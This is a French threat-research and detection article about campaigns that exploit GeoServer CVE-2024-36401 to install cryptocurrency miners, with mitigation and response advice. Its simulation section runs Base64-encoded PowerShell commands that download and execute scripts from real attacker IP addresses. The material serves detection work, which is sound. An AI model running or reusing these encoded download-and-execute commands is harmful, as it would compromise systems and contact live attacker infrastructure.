SOC Prime Bias: Critique

23 Dec 2025 10:38 UTC

GeoServer sous attaque : campagnes de minage de cryptomonnaie grâce à des logiciels malveillants

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
GeoServer sous attaque : campagnes de minage de cryptomonnaie grâce à des logiciels malveillants
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Les acteurs de la menace exploitent la faille d’exécution de code à distance de GeoServer CVE-2024-36401 pour déployer des mineurs de cryptomonnaie et NetCat sur des serveurs non corrigés. L’activité repose sur PowerShell, Bash et certutil pour télécharger et lancer XMRig à partir de plusieurs domaines malveillants et adresses IP. Plusieurs scripts de téléchargement et droppeurs sont utilisés, souvent empaquetés dans des archives ZIP et persistants en tant que services via NSSM. L’objectif principal est de s’emparer des ressources de calcul pour un minage non autorisé.

Enquête

Le rapport décrit trois variantes (A, B, C) qui utilisent PowerShell encodé, des fetchers basés sur Bash et certutil pour récupérer les charges utiles de mineurs depuis pool.supportxmr.com et plusieurs sous-domaines aaaaaaaaa.cyou. Les mécanismes de livraison incluent des scripts batch, des bundles ZIP, et un téléchargeur sur mesure nommé systemd, ainsi que des identifiants d’authentification de base HTTP. Les analystes ont extrait des indicateurs clés—URLs, adresses IP et noms de fichiers—pour soutenir la détection et le périmètre.

Atténuation

Appliquer les correctifs GeoServer concernant CVE-2024-36401 et maintenir les déploiements à la dernière version supportée. Bloquer les connexions sortantes vers les pools de minage connus et l’infrastructure associée, et surveiller les exécutions Powershell ou Bash encodées suspectes. Limiter l’utilisation de certutil pour les contextes non admin et imposer une liste blanche d’applications pour empêcher les services non autorisés installés via NSSM.

Réponse

Implémenter des détections pour les lignes de commande observées, les hachages et les indicateurs de réseau. Mettre en quarantaine les hôtes affectés, éradiquer les services de minage et les artefacts de persistance, et effectuer un balayage forensic pour toute charge utile secondaire. Faire tourner les identifiants exposés et exiger une authentification multi-facteurs pour l’accès administratif.

Flux d’attaque

Exécution de simulation

Prérequis : Le contrôle préalable de télémétrie et de base doit avoir été réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narration de l’attaque & Commandes :
    Un attaquant a obtenu une charge utile Base64 malveillante qui télécharge un fichier de configuration vulnérable GeoServer, l’exécute, puis dépose un mineur de cryptomonnaie. Pour échapper à la détection simple de script-block, l’attaquant utilise le -enc option avec une chaîne pré-encodée (l’un des deux IOCs connus). L’attaquant exécute la charge utile localement sur un hôte Windows compromis, provoquant la création d’un processus powershell.exe qui inclut exactement la chaîne Base64 surveillée par la règle.

  • Script de test de régression :

     # -------------------------------------------------
      #  Script de régression pour déclencher la règle Sigma
      # -------------------------------------------------
      # Charge utile 1 (correspond au premier IOC)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # Charge utile 2 (correspond au deuxième IOC)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • Commandes de nettoyage :

     # -------------------------------------------------
      #  Nettoyage – terminer toute charge Powershell persistante
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force